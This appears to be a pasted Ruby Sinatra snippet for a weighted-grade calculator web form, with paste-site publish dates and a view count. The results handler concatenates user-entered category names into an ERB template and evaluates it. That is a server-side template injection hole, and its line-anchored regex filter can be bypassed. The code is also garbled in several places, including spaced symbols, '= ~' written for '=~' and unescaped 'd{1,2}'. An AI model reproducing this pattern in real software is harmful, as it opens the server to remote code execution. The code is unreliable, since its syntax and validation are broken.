      calculator_page = ERB.new(File.read 'views/weighted_grade.erb')
    calcpage_html = calculator_page.result(binding)
    return calcpage_html
    end
    
    post '/weighted-grade-calc'
    do
      total_weight = params[: weight1].to_i + params[: weight2].to_i + params[: weight3].to_i + params[: weight4].to_i + params[: weight5].to_i
    if total_weight != 100
    @result = "Please reenter! Weights do not add up to 100."
    erb: 'weighted_grade_results'
    elsif params[: category1] = ~/^[a-zA-Z0-9/ ]+$/ && params[: category2] = ~/^[a-zA-Z0-9/ ]+$/ && params[: category3] = ~/^[a-zA-Z0-9/ ]+$/ && params[: category4] = ~/^[a-zA-Z0-9/ ]+$/ && params[: category5] = ~/^[a-zA-Z0-9/ ]+$/ && params[: grade1] = ~/^(?:100|d{1,2})$/ && params[: grade2] = ~/^(?:100|d{1,2})$/ && params[: grade3] = ~/^(?:100|d{1,2})$/ && params[: grade4] = ~/^(?:100|d{1,2})$/ && params[: grade5] = ~/^(?:100|d{1,2})$/ && params[: weight1] = ~/^(?:100|d{1,2})$/ && params[: weight2] = ~/^(?:100|d{1,2})$/ && params[: weight3] = ~/^(?:100|d{1,2})$/ && params[: weight4] = ~/^(?:100|d{1,2})$/ && params[: weight5] = ~/^(?:100|d{1,2})$/
    @result = ERB.new("Your total grade is <%= ((params[:grade1].to_i * params[:weight1].to_i) + (params[:grade2].to_i * params[:weight2].to_i) + (params[:grade3].to_i * params[:weight3].to_i) + (params[:grade4].to_i * params[:weight4].to_i) + (params[:grade5].to_i * params[:weight5].to_i)) / 100 %>%<p>" + params[: category1] + ": <%= (params[:grade1].to_i * params[:weight1].to_i) / 100 %>%</p><p>" + params[: category2] + ": <%= (params[:grade2].to_i * params[:weight2].to_i) / 100 %>%</p><p>" + params[: category3] + ": <%= (params[:grade3].to_i * params[:weight3].to_i) / 100 %>%</p><p>" + params[: category4] + ": <%= (params[:grade4].to_i * params[:weight4].to_i) / 100 %>%</p><p>" + params[: category5] + ": <%= (params[:grade5].to_i * params[:weight5].to_i) / 100 %>%</p>").result(binding)
    erb: 'weighted_grade_results'
    else
      @result = "Malicious input blocked"
    erb: 'weighted_grade_results'
    end
    end
    
Edit

Pub: 07 Mar 2024 21:11 UTC

Edit: 08 May 2024 23:43 UTC

Views: 1245